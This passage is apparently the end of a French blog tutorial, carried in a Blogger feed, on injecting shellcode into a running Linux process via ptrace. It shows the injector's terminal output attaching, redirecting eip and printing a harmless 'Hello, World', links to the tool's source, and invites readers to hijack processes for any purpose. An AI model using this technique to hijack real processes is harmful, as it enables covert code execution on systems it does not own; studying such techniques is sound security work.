:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;[kmkz@localhost Bureau]$ ./inj 7178&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;[+] Attente d&#39;attachement au processus 7178 ...&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;[+] Attachement au processus : réussi&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;[+] Lecture des registres:&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;        -eip: 0xffffe410&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;        -esp: 0xbfe478d8&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;[+] Shellcode copié en esp:0xbfe468d8&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;[+] Redirection  d&#39;eip vers le shellcode :0xbfe468da&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;[+] Détachement du processus 7178&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;[+] Injection Terminée ! &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;Hello,World !&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;Bingo, notre &quot;hello world&quot; est bien la , en chair et en os (enfin si on veux quoi ^_^).&lt;br /&gt;C&#39;est a vous de jouer maintenant : vous savez détourner un processus en y injectant un shellcode pour  en faire ce que vous voulez alors ....&lt;br /&gt;___&lt;br /&gt;*Here&#39;s the Shell_inj source code:&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 102, 255);&quot;&gt;&lt;a href=&quot;http://membres.lycos.fr/profil4/kmkz/ptrace/inj.txt&quot;&gt;Shell_inj.c&lt;/a&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 102, 255);&quot;&gt;&lt;span style=&quot;color: rgb(0, 0, 0);&quot;&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;&lt;span style=&quot;color: rgb(0, 0, 0);&quot;&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;Have Fun !&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(51, 102, 255);&quot;&gt;&lt;span style=&quot;color: rgb(0, 0, 0);&quot;&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;Remerciements a l&#39;équipe de &quot;blacks clowns&quot; pour son article  sans lequel j&#39;aurai mis des mois avant de percuter comment m&#39;y prendre ^^ ainsi qu&#39;a l&#39;équipe de dg-sc pour phrack et ses tutos de 1er choix !&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;</content><link rel='replies' type='application/atom+xml' href='http://kmkz-web-blog.blogspot.com/feeds/4825322031287797225/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/4457623080129847893/4825322031287797225' title='3 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4457623080129847893/posts/default/4825322031287797225'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4457623080129847893/posts/default/4825322031287797225'/><link rel='alternate' type='text/html' href='http://kmkz-web-blog.blogspot.com/2008/07/principes-et-mise-en-oeuvre-dun.html' title='Principes et mise en oeuvre d&#39;un injection de code dans un processus en cours via le syscall PTRACE()'/><author><name>kmkz</name><uri>http://www.blogger.com/profile/11354372095868320290</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWX7f_qhizDdUQtNH4mauHaDaN6n2Yuy_MaLPSzL1iO4adY6hBlbA6gVeOMl3greB2FM0GMLeHPN5ZaNMSsQ49Mu2PE4tB55xS_Ajtaz-llty0kG_1I42Qn0GEx0x2OA/s1600/*'/></author><thr:total>3</thr:total></entry></feed>